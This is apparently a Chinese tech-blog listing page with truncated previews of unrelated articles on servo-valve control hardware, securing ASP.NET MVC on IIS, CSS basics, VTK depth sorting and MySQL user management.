在伺服阀高频振动测试中&#xff0c;闭环控制系统的实时性与稳定性至关重要。针对用户提出的1kHz控制频率需求及Windows平台兼容性问题&#xff0c;本文重点分析NI PCIe-7842R实时扩展卡的功能与局限性&#xff0c;并提供其他替代方案的综合对比&#xff0c;以帮助用户选择适合…

解决asp.net mvc发布到iis下安全问题

解决asp.net mvc发布到iis下安全问题 环境信息1.The web/application server is leaking version information via the "Server" HTTP response2.确保您的Web服务器、应用程序服务器、负载均衡器等已配置为强制执行Strict-Transport-Security。3.在HTML提交表单中找不…

CSS-基础选择器,字体属性,文本属性介绍

一、CSS 简介 CSS 是层叠样式表 ( Cascading Style Sheets ) 的简称. 有时我们也会称之为 CSS 样式表或级联样式表&#xff61; CSS 是也是一种标记语言 CSS 主要用于设置 HTML 页面中的文本内容(字体&#xff64;大小&#xff64;对齐方式等)&#xff64;图片的外形(宽高&a…

vtkDepthSortPolyData 根据相机视图方向对多边形数据进行排序

1. 作用 在 3D 渲染中&#xff0c;透明对象的渲染顺序非常重要。如果透明对象的渲染顺序不正确&#xff0c;可能会导致错误的视觉效果&#xff08;例如&#xff0c;远处的透明对象遮挡了近处的透明对象&#xff09;。vtkDepthSortPolyData 通过对多边形数据进行深度排序&#…

【MySQL_04】数据库基本操作(用户管理--配置文件--远程连接--数据库信息查看、创建、删除)

文章目录 一、MySQL 用户管理1.1 用户管理1.11 mysql.user表详解1.12 添加用户1.13 修改用户权限1.14 删除用户1.15 密码问题 二、MySQL 配置文件2.1 配置文件位置2.2 配置文件结构2.3 常用配置参数 三、MySQL远程连接四、数据库的查看、创建、删除4.1 查看数据库4.2 创建、删除…